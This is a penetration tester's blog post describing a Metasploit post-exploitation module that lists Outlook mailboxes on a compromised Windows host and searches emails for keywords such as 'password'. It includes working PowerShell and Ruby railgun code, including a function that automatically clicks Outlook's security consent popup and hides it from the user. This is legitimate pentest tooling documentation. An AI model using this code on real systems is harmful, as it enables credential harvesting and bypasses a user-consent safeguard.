Reading Outlook using Metasploit

In penetration tests, it sometimes can be hard to escalate privileges on a (WindowsOutlook) target system. In this situation it can be useful to gain access to resources with sensitive information, such as passwords.

Metasploit does not have any module to read email messages from a local Outlook installation. Outlook can however contain a lot of sensitive and useful information in a penetration test, such as networkcredentials. I decided to create a Metasploit module which can read and/or search the local Outlook email messages.

How?

In order to do this, the module is using powershell. The following powershell script is used by the Metasploit module:

function GetSubfolders($root) {
  $folders = @()
  $folders += $root
  foreach ($folder in $root.Folders) {
    $folders += GetSubfolders($folder)
  }
  return $folders
}

function List-Folder {
  Clear-host
  Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
  $Outlook = New-Object -ComObject Outlook.Application
  $Namespace = $Outlook.GetNameSpace("MAPI")
  $account = $NameSpace.Folders
  $folders = @()
  foreach ($acc in $account) {
    foreach ($folder in $acc.Folders) {
      $folders += GetSubfolders($folder)
    }
  }
  $folders | FT FolderPath
}

function Get-Emails {
  param ([String]$searchTerm,[String]$Folder)
  Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
  $Outlook = New-Object -ComObject Outlook.Application
  $Namespace = $Outlook.GetNameSpace("MAPI")
  $account = $NameSpace.Folders
  $found = $false
  foreach ($acc in $account) {
    try {
      $Email = $acc.Folders.Item($Folder).Items
      $result = $Email | Where-Object {$_.HTMLBody -like '*' + $searchTerm + '*' -or $_.TaskSubject -like '*' + $searchTerm + '*'}
      if($result) {
        $found = $true
        $result | Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
      }
    } catch {
      Write-Host "Folder" $Folder "not found in mailbox" $acc.Name
    }
  }
  if(-Not $found) {
    Write-Host "Searchterm" $searchTerm "not found"
  }
}

The function ‘List-Folder’ displays all the available mailboxes and associated folders in a local Outlook installation. The function ‘Get-Emails’ is used to display messages in a specified folder, these messages can also be filtered by a keyword (for example ‘password’).

A problem which i stumbled on was a security popup when connecting to Outlook using powershell. The popup looks like this:

microsoft_outlook_security_popup

It was quite a challenge to bypass this message, because it has to be clicked by the user manually. In the module i used WinAPI in order to accomplish the bypass. Please note, that a user behind the target system, can notice these activities. So keep in mind that they might be able to detect your activities when using this module. The following function is checking the “allow access for” box and clicking the “allow” button.

  def clickButton(atrans,acftrans)
    # This functions clicks on the security notification generated by Outlook.
    sleep 1
    hwnd = client.railgun.user32.FindWindowW(nil, "Microsoft Outlook")
    if hwnd != 0
      hwndChildCk = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "&#{acftrans}")
      client.railgun.user32.SendMessageW(hwndChildCk['return'], 0x00F1, 1, nil)
      client.railgun.user32.MoveWindow(hwnd['return'],150,150,1,1,true)
      hwndChild = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "#{atrans}")
      client.railgun.user32.SetActiveWindow(hwndChild['return'])
      client.railgun.user32.SetForegroundWindow(hwndChild['return'])
      client.railgun.user32.SetCursorPos(150,150)
      client.railgun.user32.mouse_event(0x0002,150,150,nil,nil)
      client.railgun.user32.SendMessageW(hwndChild['return'], 0x00F5, 0, nil)
    else
      print_error("Error while clicking on the Outlook security notification. Window could not be found")
    end
  end

Module usage

The module can be installed by updating Metasploit. The module has two ‘ACTIONS’:

  • LIST: Display the available mailboxes and folders in a local Outlook installation
  • SEARCH: Display messages in a specified FOLDER, can be filtered by a KEYWORD

The LIST action requires only the options ‘SESSION’ to be set.

In order to use the SEARCH action, the module has several options which can be set. The following options are present in the module:

ACF_TRANSLATION: Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.
A_TRANSLATION: Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.
FOLDER:The e-mailfolder to read (e.g. Inbox)
KEYWORD: The keyword to search in the emails
LIST_FOLDERS: List folders available in the mailbox
SESSION: Session to run the MSF module on

The options FOLDER (folder to search, e.g. “Inbox”) and KEYWORD (filter on a keyword like “password”) are pretty straightforward.

The options A_TRANSLATION and ACF_TRANSLATION are required to click on Outlooks security notification, when the language is not supported by the module (en-US, NL and DE are supported). Fill in the translation present on the target system of “Allow” into the option “A_TRANSLATION” and “Allow access for” in “ACF_TRANSLATION”.

The following output is a example snippet of output which is generated by the Metasploit module when using the ‘LIST’ action:

LIST-action-msf

The following output is a example snippet of output which is generated by the Metasploit module when using the ‘SEARCH’ action, on the folder ‘Inbox’ with a keyword ‘password’:

SEARCH-action-msf

I’ve submitted the module to the official master github of Metasploit. The module has been merged, and the code can be found at:
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/outlook.rb
https://github.com/rapid7/metasploit-framework/blob/master/data/post/powershell/outlook.ps1

2 thoughts on “Reading Outlook using Metasploit

Leave a Reply

Your email address will not be published. Required fields are marked *